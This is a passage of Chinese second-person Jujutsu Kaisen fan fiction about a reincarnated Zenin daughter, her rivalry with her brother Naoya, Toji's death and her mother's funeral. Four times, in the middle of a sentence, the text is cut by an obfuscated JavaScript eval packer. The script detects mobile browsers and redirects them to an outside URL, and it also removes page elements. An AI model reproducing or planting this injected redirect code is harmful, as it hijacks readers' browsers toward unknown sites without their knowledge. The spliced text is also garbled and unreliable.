“就当我没办法成为家主吧,但你还是要谨慎一点。哪怕是为了惠,也要好好活下去哦。” 他依然漫不经心,只在某个瞬间才意识到了一处违和,向你投来目光:“我和你说过我儿子的名字叫惠吗?” 哎呀,露馅了。 但没关系,你能补救。 “没有。但你的事,禅院家都知道。”你换上一副神秘兮兮的面孔和一本正经的表情,压低了声音说,“我们在看着你。” 甚尔显然无法理解你的幽默感,甚至觉得很被冒犯,连话也没有多说,转头就走了。你还得匆匆忙忙地向他大喊“以后可以来找我玩!”,尽管你也不确定你们之间的以后会是多久之后。 在甚尔这儿耽误的时间比预想得稍微久了一点,你赶忙回到长椅处,果不其然直毘人已经在找你了,揣在衣袖里的双手显然在诉说着老爷子的不快。你实在不敢耽误了,加快脚步跑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817861|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,把藏在口袋里的东西双手捧着举到他面前。 “老爸,吃不吃冰激凌?” 你像个乖巧女儿那样笑眯眯。 直毘人有点意外,从你手中接过了朗姆酒葡萄干味的哈根达斯,看你笑脸盈盈的样子,当然说不出什么抱怨的话语了。 “你刚才去买东西了?” “嗯。”你一本正经且超大幅度地点点头,“我怎么想都觉得只有我一个人吃了冰激凌的这件事太不公平,就也给老爸买了。” “那你的冰激凌呢,吃完了?” “没错!所以待会儿可以分一点这个冰激凌吃吗?我好馋。” 直毘人笑了:“行吧,行吧。” 于是,你们坐在车站前的长椅上,把木勺子一折为二,各自捏着短短的一截勺柄,挖掘着朗姆酒葡萄干味的雪糕。直毘人随口问你零花钱够不够花,大概是担心这盒不算贵的冰淇淋会让你的钱包迅速瘪下去。你说没事,直哉会借你钱花。 “但他会收我利息。”这一点你也得坦白说。 直毘人了然般点点头:“直哉的话,确实是做得出这种事的。” “老爸你就不管管他吗?” “我对这种事很苦手的。”他又开始喝酒了,酒精带来无关紧要的话题,“对了,对我的称呼怎么突然变成‘老爸’了?” “‘老爸’很可爱啊。”你眨眨眼,“您要是不喜欢,我就继续喊您父亲了。” “没事,随便你怎么来都行。” “那就好!” 吃完了冰激凌,又在长椅上坐着吹了吹风,这才回到了沉闷的禅院家大宅。 难得出门放风,你心情大好,吃了好多冰激凌让你心情更加明朗,见到了甚尔更算得上是今天的大好事一桩,以至于背着木刀朝你走过来的直哉都显得比往日里顺眼了更多。你笑眯眯地冲他挥挥手,而他只以一副微妙表情回敬你。 “和父亲出门了一次就这么高兴吗?”他嗤笑你,“真幼稚。” “不只是因为这个啦,我今天还见到甚尔了哟。” 你笑嘻嘻地像只小老鼠那样,从直哉的背后蹦跶到他的眼前,好一副嘚瑟的模样。 “而且而且,我还知道他马上又要结婚的事情了。你肯定不知道吧直哉君?啊,你可别太嫉妒我哟。” “你有什么值得好嫉妒的?”用看傻子的目光看着你的直哉伸出中指,想要弹你的脑门,“我不会眼红一个不如我的家伙。” 你也不甘示弱,往旁边一躲,让他的袭击彻底落了空,还对他“嘁”了一声。 “你要是打我的话,我就不还你零花钱了!”你要挟他。 直哉一脸气急败坏:“禅院夏栖,你好烦啊!” 然后伸手过来抓你,闹得鸡飞狗跳。你忽然察觉到了什么,中途停下了脚步,盯着直哉。 “哎,我说,直哉。” 你踮起脚尖,用手丈量彼此的头顶。 “你有没有觉得,自己稍微长高一点了?” 9. 你,第一次当姐姐! ——你有没有觉得,自己稍微长高一点了? 这句话不算是什么奉承,你觉得自己只不过是在诉说一个事实,但直哉的表情却很不高兴,一下子拍掉了你那只悬浮在他头顶的手。 “又想说我矮了是不是?” 并且一开口就毫不留情的抱怨。 这种话谁听了都不开心,但你今天毕竟是吃了三个冰激凌球加半盒哈根达斯的无敌快乐小孩,超量的碳水化合物的摄入让你此刻的心情相当不错,以至于面对直哉的奚落也能完全不放在心上。 “哪有。”你满不在意地摆摆手,“在你心里,我的信用度就这么低吗?” 直哉想也不想就说:“当然。你肯定又是在唬我,然后趁机说我坏话。我太懂你了,夏栖,你就是这种怪小孩。” “什么嘛!” 冰淇淋带来的多巴胺在这一刻尽数消失无踪,你气到想直跳脚。 “夸你好你还不乐意了吗?这么看来你才是怪小孩吧,臭直哉!” 直哉对你的暴怒不屑一顾:“我已经不是小孩了。臭小孩。” 反手又把这个难听的名头按在你的头上了。 会变成现在这样,都怪你上次好好地开导了直哉,让他不要对身高的事情太过在意。而现在他确实不在意了——并且是一丁点在乎都没有。 少被他唠叨当然好,但你更不想表现得像是个随意扯开话题的烦人鬼,所以你说什么都要拉着直哉去柱子旁边量身高。直哉一腔不情愿,可还是拗不过你,又和你来到了那根划满刻度的木柱旁。 这会儿家里的闲活正好空下来了,芥子阿姨帮着你们测量身高,在柱子上划下新的一道。 正处于猛猛生长期的你当然拔高了,又比上次测量高出了小半个脑袋。而一直没怎么长高的直哉,不管怎么说还是比你高了好多,你踮起脚来也看不到他的身高刻度,只好拜托芥子把你抱起来,这才看到了刚刚刻下的一横。 这一横就浮在半月前的痕迹上方,距离足有五厘米——好消息好消息,直哉终于长高了! 也就是说,正处在青春期的这位少年,三天就长高了一厘米? 你惊讶地盯着他,忍不住嘀咕:“你果然是竹子投胎的嘛!” “哼。” 轻哼着的他看起来对这种身外之物全然不在乎,实际上尾巴都要翘到天上去了。 “我从没为这种事情担心过!” 甚至信誓旦旦如是说,明明半个月前一天要测五回身高的人就是他没错。 你自诩是个善良的好人,更是个善良的妹妹,决定暂且不要戳穿直哉的虚假自信,随便“嗯”了两声,顺便补上一句:“但现在的身高比起甚尔还是差了一点哦。” 毕竟甚尔比直毘人还要高出半个脑袋嘛。 直哉一脸不在乎,看不出是真心如此还是伪装使然,说出的话也很豁达:“我又不是甚尔。” “哦?”你不可思议地眨眨眼,踮起脚来要摸他的额头,“你还是直哉吗?” “当然是。” 这么说着的他一如既往拍掉了你碍事的手。 “虽然现在比不过,但总有一天,我会站上和他一样的高度的。” “‘总有一天’,这种话谁都能说哦。”你把手背在身后,一本正经的,“那我也这么说,总有一天我禅院夏栖要当上家主。” “我没有随便一说,这是……哈?” 他不算及时地反应过来,整张脸难看得像吃下了一只蝇头,而你暗自得意。 你也不多说什么了,轻巧地躲开他抓你过去的手,一溜烟跑得没影,转头找芥子了。 “芥子阿姨,芥子阿姨!” 惹毛了直哉让你暗自窃喜,补上了轻快而明亮的多巴胺,你没怎么多想,随口问道, “最近真希和真依还好吗?” 虽然同住一个屋檐下,但巨大的禅院家被数道围墙与阶级隔开,你又在成为术士的这条路上也每日忙碌,实在无暇总是去拜访可爱的妹妹们。 话虽如此,其实在真希和真依出生不久的那次拜访之后,你就没怎么踏入过扇叔父的小院了,真是罪过。 芥子阿姨沉默了片刻,恭顺的表情似乎裂开了一道僵硬的缝隙。 她向你颔了颔首,毕恭毕敬的:“一切都好。和之前咒灵试炼的结果那样,其中一个孩子还是没有咒力,也看不到咒灵。” 啊,说的是真希的事情吧?但你记得真希还挺厉害的,而且目标也是成为家主——同样是你的竞争者呢。 和直哉一起竞争,有点像是赛跑,非得气喘吁吁拼尽全力不可。但如果是和真希的话,好像就没有那么非死不可的紧迫感了,因为你会为她的成功高兴。 这么想着,一下子觉得轻松了些。你像个小大人似的拍了拍芥子的肩膀,安慰她:“祸福相依,真希的好运说不定只是来得晚了一点,芥子阿姨就别太担心了。对了,有空我能来找真希和真依玩吗?” 你摊了摊手,摆出一副无奈模样。 “直哉他超无聊的,连翻花绳都不会,还总把我当小孩子,不乐意和我待在一起,太没意思了!” 可能是说坏话的这个行为天然地就能拉近人与人之间的距离,也可能是你的夸张表情实在有意思,一脸愁容的芥子忍不住捂嘴轻笑起来,点点头说:“嗯,您尽情来吧。” 得了芥子阿姨的同意,你当然要厚着脸皮经常找妹妹们玩了,就算是顶着禅院扇微妙的目光也要坚定地走到妹妹们面前,把花绳拿给她们看。 “一起来玩吧!” 四岁的双子姐妹留着一模一样的发型,穿着完全一致的和服,内里确实截然不同的小孩。 真依比较胆小,也有点怕生,第一次见到你的时候,习惯性地躲到了真希的背后,只露出一双眼睛怯生生地打量你。真希胆子当然大多了,一见到你就能喊出“夏栖姐姐”,简简单单的称呼哄得你差点变成细胞。 因为,这是你,第一次当姐姐! 在姐姐的威严瞬间灌满全身时,你好像一下子明白了直哉为什么会对“哥哥”这个称呼存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817862|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执念。因为你不得不承认,这个略带一丝高级别属性的称呼,确实听得人很畅快呢! 既然这样,那这辈子都别叫他哥哥了吧~你欢快地下定决心。 一起玩了三次,从深秋来到落雪的冬日,真依也会叫你“夏栖姐姐”了。你们总会把花绳翻成谁也看不明白的模样,然后一起笑起来。 “夏栖姐姐的哥哥是直哉吗?” 真希有天问你,你觉得这个问题很奇怪。 “是哦。”说完这话之后,你好像意识到了一点什么,“直哉欺负你们了吗?” 真依不吱声,却往旁边缩了缩身子。真希也不说话,不知道是什么堵住了她的嘴。姐妹俩的反应让你觉得很罪恶,似乎你也该为了没能阻止直哉而负责。 “哎……别怕别怕!” 要是连你也表现出沮丧的模样怎么能行?你感觉打起精神。 “要是以后直哉对你们说难听的话或是动手动脚了,你们就告诉我,我一定会帮你们的!” 真希看起来终于高兴一点了,用力点点脑袋,和你相似的妹妹头都甩得炸开了。 于是继续开开心心地玩耍,玩到日渐西沉,母亲的侍女喊你回去,你不得不同妹妹们道别。 不知道算是运气太好还是运气不佳,刚走到门口,居然远远看到了直哉——这时候的他已经长得很高了,远远看过去,像是被拎起来的一长条。 真希和真依正在背后注视着你,这时候显然是该展现出姐姐威严的时刻了。你想也不想,直接冲到直哉面前,奋力一跃,搓了搓他的脑袋,然后被他龇牙咧嘴地瞪了一眼。 “在犯傻吗你?”他对你真的没话说了,“对哥哥有点基本的礼貌就这么难吗?” 你用力点头,拖长了声说:“超——难的。” “嘁。” 他瞥了你一眼,又看了看站在屋檐下的双子,对你的嫌弃之情更甚。 “别老和废物玩。”他说着,动手梳理被你弄乱的发丝,“难道你都不嫌丢人的吗?” 你还是那副厚脸皮的模样:“不会哦。姐姐陪妹妹玩,不是很正常的事情吗?我只是在履行一个好姐姐的职责而已。” “那也麻烦你稍微履行一下妹妹的责任,好好尊重我这个兄长大人。” 不用想,这话又是在暗示你快点喊他哥哥了。 正如过去的每一次一样,你绝对不会让他如愿。 “直哉才不是哥哥——知道吗,直哉就是直哉哦!” “你在说什么无聊的傻话?” “唉。你要是听不懂的话,那就算了吧。” 你哼着轻快的小调,蹦跶到他的前头。他一定对你的肆无忌惮很无奈,却也没说什么,只在夜幕完全落下时,才叫了你一声“夏栖”。 “嗯?” 你停住脚步,他也停下来了。 隔着冬日的风,你们注视着彼此。 还以为沉默会变成你们之间的对话,但他却问你:“想当家主这件事,你是随便说的,还是真心这么想的?” 10. 你,宣誓野心 在直哉的面前直言想当家主,已经是几个月以前的事情了,如果不是直哉主动提起,你早就忘了自己当初还说过这种话。 由此可见,直哉对此真的有够惦记的。 并且和他此刻别扭的表情不同,你根本不觉得自己的家主发言有什么问题。 所以当直哉问你是不是认真在考虑家主之位的时候,你满不在意地耸耸肩膀,反问了他一句:“你觉得呢。” 他也没有多想,直白地说:“女人当不上家主的。” “这是歧视哦,直哉君。”你用搬出敬语了,但说出的可不是那么尊敬的话语,“现在都已经是二十一世纪了,就别像明治时代的老古董一样的好吗?知道吗,老派的家伙最不讨人喜欢了。” “嘁。” 他轻哼一声,很高傲地说,自己也用不着你这种人的喜欢。 他当然还对家主一时心怀执念,说完不需要你的喜欢后,才隔了一秒就又拾起了刚才的话题,以一种禅院家嫡子特有的高高在上的语调说:“你要是真那么想要做出点什么的话,等以后我当上家主了,自会把事务性的工作丢给你处理的。” “喂喂直哉君。” 这话你听着可太不乐意了。 “这是把我当工具人吗?” “这是在抬举你。”还是那副居高临下的语调,听得人浑身难受,“家主之位肯定是我的。女孩子家家的,和男人争什么?都这个岁数了,你也该学着听话了。” “都这个岁数了”,说得你好像你即将长大成人。估计连他自己都忘记了,比他小七岁的你离七周岁的生日还有大半个月。放在别人家里,这完全是一个任性妄为也不会有人过多指责的年纪。 你觉得很不爽,尽管这种话就是直哉这种人能说得出来的,你还是很不高兴。感谢夜色遮盖住了你气歪的嘴,也把你偷偷做出的鬼脸全部藏了起来。 见你久久不说话,直哉还以为你开窍了,得意地笑起来。然而下一秒他就笑不出来了。 “那我就更要和你争了。”你说,“因为你真的很讨人厌。我有自信能够成为比你更加优秀的统帅者。” “哈?” 他又发出了这种很没礼貌的声音。你不予理会,加快脚步走到他的前头。 这番行为在直哉的眼里简直像是挑战他的尊严。他也快走了几步,试图把你甩在三步之外的身后。你绝不可能让她如愿,索性跑起来了。 然后你俩就这么跑回了房,最后干脆齐齐用上了术式,两个人的速度快到在禅院家大宅刻下了残影,把路过的侍女们都吓了一跳。可惜结局是双双同时踏过门槛,谁都没能分出胜负。 直哉的表情看起来不甘心极了。而你暗自得意,因为你没有输人一等。 大喘了几口气,他忽然说:“我们来比试一场吧!” 你搞不懂他的动机,当然不想轻易答应:“和小孩子比试,你不觉得胜之不武吗?” “一对一对抗你肯定比不过我,我现在也不想靠欺负小孩获得自满感。”他站直了身,把后背挺得笔直,“就比速度吧,用上术式去比。要是你比不过我,未来就只准当我家主路上的奠基石。反之,我可以认同你当我的竞争者。” 居然只是认可吗?作为胜利的奖励来说,多少是有点简陋了。况且,就算没有他的认可,你也已经走在家主候选人的这条竞争之路上了,有没有他的阻碍都一样。 你无奈地撇撇嘴,其实不那么想要搭理直哉,但他一脸认真的表情实在难得,要是直言拒绝,在接下来的很长一段时间估计就要看到阴阳怪气的直哉了。两者取其轻,还是答应吧。 “随便你好了。你想怎么来就怎么来,我没有意见。”你耸耸肩,自嘲地说,“谁让我是妹妹嘛。” 直哉很满意你摆正了自己的位置,糟糕的心情就此恢复,心情好到完全可以哼着歌走回房间。没想到他意外得还挺好哄的。 之后的一个月里,东京总在落雪,实在不是适合比试的时节,你和直哉心照不宣地都没有说起这件事。但禅院家的训练不会因为天气而懈怠,反而变得更加高强度了,你被迫穿着单薄的衣物在雪地里挥刀,落雪在头顶上攒成了一层白色,冷冷地捂着你的理智,你却并不被允许拍掉身上的积雪,实在难受。 你也无暇去看真希和真依姐妹了,况且这个冬天她们也开始了训练。直哉依然跟着炳部队的前辈们到处去祓除咒灵,与他之间难得见面才是好事。 训练结束后的无聊时光里,你随手捏了个几个小雪人,一字排开摆在缘廊上,松散的雪团在一天天的低温下冻成冰块,很稳固地立在那儿,直到开春之后才缓缓融成一团,然后被眼睛长在头顶上的直哉一脚踩中。 他提着湿漉漉的袜子质问你干嘛要把水泼到缘廊上,而你恰在这时候想到了最合适的反驳方法,坦然道:“男孩子家家的把脚露出来给女孩子看真的没关系吗?直哉,你能不能有点禅院家基本的男德和羞耻心?” 新法子就是好用。他气得脸都红了,却连半句反驳都说不出来。你笑到在榻榻米上疯狂打滚,要不是被气急败坏的直哉拽了起来,你绝对能笑到夜幕降临都止不住。 “你根本就是故意的吧禅院夏栖!快起来!” “啊——哈哈——哈哈——起来了,我起来了。” 你就像是喝醉酒的直毘人那样,笑到无力的双腿在地上踉跄了两下才勉强站起来,整个人都挂在直哉的身上,也难怪他一脸嫌弃地扯着嘴角,都想把你重新丢到榻榻米上自生自灭了。 等你稍微正常一点了,他才说:“上次说好的,我们俩之间的比试,你还记得吧?” “比试?啊啊,比速度的那个是吧。”你一股脑点头,“记着呢记着呢。终于要开始了吗,什么时候?” “过段时间,不是现在,等我从四国回来。到时候得到夏天了。” “又有祓除咒灵的任务了?” “没错。”他搓搓你的脑袋,“到时候别太想念哥哥了。” 你往旁边一躲:“怎么可能会想你。” 说着这话的你并没有言出法随那般凭空生出了对直哉的思念,毕竟事实就是,在那之后的很长一段时间里,你一回都没想他,只在偶尔听到“直哉”这个名字时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817863|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才会回忆起直哉还在四国的这个事实。 对于你们之间的比试,你就更不上心了。即便初夏的风吹起了你逐渐长过肩膀的发丝,你也没有酝酿出多少的期待。那时候直哉才终于回来了,一到家就说你头发长了太难看,还是妹妹头看起来更乖。 比试就安排在了直哉回来的第三天,地点位于禅院家西南侧后门的那条后巷。巷子大约有三百米长,谁能先冲到尽头就是胜利。 想把这场比试只局限在彼此知道的秘密,直哉只请了母亲当做裁判。你猜他不那么希望家里的其他人知道,自己的妹妹正在和自己争夺家主之位。 “数到三就开始哦。”他说。 “先明确一下。”你得小心他,“是从一数到三,还是直接喊出‘三’?” 直哉咧嘴一笑,看来是被你看穿了,所以他说:“当然是前者。我要开始喊咯?一、二……” 三。 你与直哉向前奔去。 直哉继承了父亲的投影咒法,能将一秒划分为二十四个动作,描绘出在此期间的动作并化为现实。奔跑是简单的动作,无需费心就能描绘,对于直哉来说简直太简单了。 你的术式是牵线,是更加精密操作的念动力,通常是将含有咒力的物品根据结构分块并撕裂,但也可以将自己视作一个整体,将无咒力的物体作为撕裂的终点,就此实现高速移动。所以,这场竞速对你来说也不是全力奔跑,而是咒力拉扯能够将你扯得多快多远罢了。 三百米的距离很快就缩短到了尽头。当你迈过那道分界线时,直哉也跨过了巷尾。母亲笑了起来,很自豪的模样,拿出手帕,为直哉擦去额角并不存在的汗水。 “果然还是直哉更厉害一点呢,一下子就到这儿来了。” 她骄傲地说着,自始至终并未看过你一眼。 可你分明看到,你和他是同时冲到终点的。难道她看不到吗? 是了,她怎么会看到,她的眼里只有直哉。 你早就意识到这一点了,所以你一点也没觉得上心或是难过,当然也没那么想笑。 你只是说,很平静地说:“就算是打平的比赛,您也要偏向直哉吗?” 母亲瞪着那双和直哉很像的眼睛,终于看着你了。 “在说什么任性的话呢?” 这是任性的话吗?那你多说一点吧。 “我知道结果如何,直哉也知道,所以你的偏心是完全没有意义的。” 真幼稚,母亲和与她拌嘴的你。你无奈地扯了扯嘴角。 “当然了,和你说这些话的我,也是没有意义的。” 就这样吧。 你转身离开,钻回古旧的家里。没觉得难过或是失望,因为你压根没对母亲抱有期待。 在她身上浪费的时间,不如全都送给直毘人。那才是更容易活下去的办法。 你这么想着,朝家主的书房走去。路上总能听到有人在窃窃私语。你本不那么在意的,却还是忍不住竖起耳朵听了听。 而后便听到他们说,那个离开了禅院家的——那个甚尔,被五条家的六眼杀死了。 11. 你,并非全知 禅院甚尔——或是现在应当称作伏黑甚尔?无所谓了——死了。 死了?居然死了? 从理论上来说,这件事本不该那么值得让你太过意外。 甚尔的死去是漫画中的既定事实,这场死亡为未来的故事发展铺垫了足够多的助力。他的死亡也绝对不是什么令人心有不甘的离去,而是算得上光荣的退场。 但是,这只是“本该如此”的结局。在你转生到此处之后,就应当“不止如此”了,不是吗? 你怔怔地站在原地,疑心大家在说的会不会是别人,也觉得肯定是自己的耳朵出现了不大不小的问题。 可就在你呆站了十分钟之后,沉甸甸的黑色裹尸袋被送进了家主的书房,血液从拉链的缝隙间漏下。你听到屋里传来了说话声,隔着纸障子,话语变得暧昧不清,但在某几个短暂的瞬间,你确实听到了“甚尔”这个名字。 啊。他死了。他怎么会死的呢? 你不是已经很努力地为他植入了“活下去”的这个概念了吗,难道依然没有他对于自我和儿子的眷恋吗? 该说是茫然吗,还是震惊,又或者是被感性彻底占据了大脑,你觉得头颅一下子空了,四肢却沉得厉害,几乎要没入泥地之中。拖沓的脚步带着你回到房间,你回过神来已坐在熟悉的榻榻米上了,空空如也的大脑中终于跳出了一点鲜明的情感。 不是悲伤,不是难过,也不是失望。 啊,有什么消失了…… 是“全知全能”的感觉,消失了。 无力感取而代之,如此强烈,如此扭曲,瞬间充盈了你的眼眶,啪嗒啪嗒砸在榻榻米上,将茶色的垫子晕开成难看的水泽。 你曾觉得自己全知全能。 你知道漫画的剧情,你早早地为自己设计好的人生的路线,你自信能够扭转剧情拯救他人。你想了那么多,过分的自信让你完全忘记了自己什么都不是。 你仅仅只是闯入这个世界的、侥幸看到了未来的、必须活到二十岁的、渺小的生命。 意识到这一点,你忽然觉得释然了,好像什么情感的闸门都消失了。你放声大哭,把眼泪洒在禅院家。 虽说是放声大哭,其实你也没有制造出太多的噪音,直哉理应听不到你的动静,可他还是走进来了,连门都不敲一下,大摇大摆地在你旁边坐下,手里端着一盒刻着松树花纹的寿司,说:“信源叔父送的,吃不吃?” 没看到你正在哭吗? 再说了,哪有人在别人哭的时候问对方吃不吃寿司的啊? 你感到一阵没由来的气恼,干脆转过身去,背对着直哉,把哭声和眼泪一起藏进臂弯里,怎么也不想被他看到。而他只是叹了口气。 “在为了妈的事情哭吗?”他满不在意的,肯定是不理解你,“你管她干嘛,她一直都那样。你刚出生的时候她还哭得哭天抢地的,嘴上说是生孩子痛死了,其实就是怨自己没能再生个儿子罢了。反正你不是弟弟我还是挺高兴的……啊,不对。” 会和他争夺家主之位的你,现在和一个弟弟也没区别了。 “所以你吃不吃寿司?不吃的话,我全吃光了。” 说完,他作势要走。你赶紧按住寿司盒,一脸眼泪鼻涕地冲他喊“不是!”。 “才不是为了她哭呢!” 对上了直哉的这张脸,不知道为什么你更难过了,大概是想到了他一直都很喜欢甚尔,而你们也就在这件事上难得地能够心意相通吧。 于是你哭得更难看了:“甚尔没了!呜……直哉,甚尔去世了!” 直哉的表情肉眼可见地僵住了,数秒钟才裂开一道难以置信的缝隙,吐出的依然是硬邦邦的一声“哈?”。 原来,他对这件事一无所知。 你好像终于找到了悲伤情绪的传达者,抓着他的手,一股脑地把事情全说出来了,比如什么盘星教雇佣了甚尔抹杀星浆体,又比如甚尔本来都击败五条悟了却最后被他用茈一发了结,连躯体都只剩下了大半而已。 你越说越难过,而直哉越听脸越白,最后艰难地挤出一句:“你怎么好像是这件事情的亲历者?” “……” 总不能说这都是因为喜欢双开门帅哥的你把怀玉篇看过两遍了吧? 你沉默了两秒:“因为我趴在父亲的门上偷听了。你不会告状吧?” “不会。” 因为直哉自己也不想说话了,低着头陷入前所未有的沉默,只在很偶尔的时候才吸溜一下鼻子,自言自语地来上一句“如果是五条家的六眼,倒也正常”,然后又自顾自否定地嘀咕说“怎么会输呢?不该输啊”。 然后就哭了。 看直哉哭,你也忍不住要掉眼泪。而看到你的眼泪,他就更觉得难受了。你们俩就像是眼泪做成的永动机,看着对方狠狠地哭了一个晚上,然后狠狠地吃完了一整盒最高级的松寿司(并且因为没吃够大半夜赶在寿司店关门之前又点了一盒并且再度吃的精光),在隔天顶着一双又红又肿的眼睛出现在了大家的眼前。 不知道能不能算得上是好消息的消息是,你们素来最不相似的那双眼睛,在泪眼婆娑的加持之下,终于变得有八分相像了。家里的叔父被你们俩的红眼睛吓了一跳,哆哆嗦嗦的模样估计是担心你们会变异。 “你们怎么回事?”毫不意外地被这么问了。 你和直哉对视一眼,谁都知道不能说出实话。只好由你说谎,说是昨晚看了《忠犬八公物语》被感动得不行,所以眼睛才哭肿了。完美的理由成功唬住了叔父,他嘀咕了两句“原来你们喜欢小狗”之类的话就走了,你们俩勉强松了口气,再度对视一眼,然后各自走开,全都把昨晚发生的事情忘了个一干二净。 感谢甚尔入赘后改了姓氏,也感谢他一点也不想和禅院家扯上关系,他的最终失败没有被定义为“禅院家对五条家六眼的刺杀”,两家之间一触即发的关系依旧保持着岌岌可危的态势,倒也不错。 挑了个黄历上不是大凶的日子,将甚尔的遗体葬在了谁也不知道的地方,但好在不是乱葬岗。葬礼当然也是没有的,神龛也不会立起。谁都不在意他的死亡,就像没有人在乎过他的存在。 你暗自下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817864|175402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定决心,你要更努力地向家主之位冲刺。 不过,在此之前,还是先和毛茸茸的小狗再玩上一会儿吧! 那位听说你和直哉喜欢《忠犬八公物语》的叔公,在不久后直哉的生日上送了你们一条小狗——名义上,这当然是给直哉的礼物。但直哉收到的礼物太多了,他也懒得承担起养狗的责任,只想享受这份快乐,所以转手就把小狗让给了你。 你乐得自在,把这条小秋田紧紧搂在怀里,还给它取名叫“小麦”,可爱的名字果然与可爱的小狗相称。 对于禅院家的嫡子来说,十五岁算是人生的分水岭了,生日宴会也举办得很像那么一回事,热闹地邀请了与禅院家交好的其他家族,堂堂介绍直哉的样子,当真像是在向他们宣布下一任家主。作为妹妹的你侥幸能够站在他的身边,也顺带在大家面前露了脸,所以你也完全可以把这场宴会视作是自己的出道战。 从夏日来临之际便开始生病的母亲强也撑着病体前来。这是你们时隔近三个月后的再次见面,可你们的视线没有交汇哪怕一次。你不想看她,她也不屑于见你,你们之间就是这种关系。 十五岁……等你十五岁的时候,人生会是什么样的呢?估计已经入学高专了吧。 啊,对了,还有咒术高专呢。 你从没听说过直哉要去高专的消息。既然想起来了,干脆趁着这个机会问问他好了。 “虽然现在还是二级咒术师,但我未来会留在炳部队见习。” 他眯起那副得意的狐狸眼。 “毕竟我马上就会升到一级了。好好看着我的背影努力吧,妹妹。” “你的背影很碍事啦,我才不想看。而且我觉得学校教育更好一点。” 言下之意,你肯定是要去咒术高专的。 直哉扭过头,背对着宾客们,但在你的眼前做了个吐舌头的鬼脸:“学校只会抹杀天才的天分。考虑到你是个蠢材,确实去那里会更合适一点。” “可五条悟也是天才哦。” 直哉不耐烦地摆摆手,把你挥到一边去:“我知道。” “真正的天才都去咒术高专了,你还不去。看看谁才是真正的蠢材。” 他继续嘴硬:“那是六眼自己的事。” 行吧。随他怎么说吧。 你知道自己肯定没办法说服直哉了,还是好好吃饭,然后赶紧回去和小麦一起玩吧。 你把小麦举过头顶,把这只胆小的家伙吓得嗷嗷叫,尾巴都缩起来了,又好玩又好笑。你只好垂下手,让它回到地面上,这下它的胆子总算是回来了。 小狗长得飞快,到了秋天,小麦就很像是一颗壮硕的大麦了,你得费劲地才能把它抱起来了,当然它依然害怕这种突然的升高,会呜呜叫着求你把它放下来。 同样发生在秋天的事情是,母亲的身体情况愈发恶劣,在落雪之前就去世了。在她被收进棺椁之前,你们的最后一次见面是直哉的十五岁生日。 这一年禅院家迎来了两场死亡,一场是秘不可宣的丧家犬的趋势,另一场是简陋而仓促的女人的离去。 12. 你,感到不甘 深黑色的丧服像是厚重却渺小的棺椁,勒得人喘不过气,在系紧腰带的瞬间,不知不觉之间把你也锁在了其中。 难过吗?可能有一点。 于情于理……不对,应该只从理性角度考虑,那个死去的人是你的母亲,是各种意义上给予了你生命的人,无论是身体自然而然散发出的情感还是社会规训出来的结果,你都理应为她的离去而悲伤。 但是,也就仅此而已了。 超过“悲伤”之外的情绪,你一点都没有,眼泪更是掉不下来。就算是回想和母亲有关的记忆,想到的也只是她如何骄傲且低微地对着直哉微笑。 她整个人的形象都是和直哉黏着在一起的。 她从来都只是她儿子的母亲,而不是你的。 当然了,不哭也是正常的,尽管你最初对此会有一点莫名的负罪感,总担心哭不出来的自己会不会被家人另眼相待。 事实证明,不只是你,直哉也没掉眼泪。他也理所应当般看起来并不多么难过,真是亏了母亲曾为他付出的爱。 当然你也不难过,所以你根本没有立场去指责对方,好在家里也没人指责你们。 大家夸赞他坚强,表扬你懂事,而这么说着的他们更不是会掉眼泪的性格。 以至于到了葬礼会场上,一整天只有芥子阿姨再用手帕抹眼泪,明明她们之间从来都不是如此亲昵的关系。 简陋的葬礼拢共只持续了一天半,直到第一天午后纳棺的时候你才久违地见到了母亲。 是什么病症夺走了母亲的性命,你毫无头绪,只知道她渐渐地吃不下饭,也不想去拜访病院,说是那里诅咒太多,去了只会让身体更加不好。这或许就是她变成了一副骨架模样的缘故。 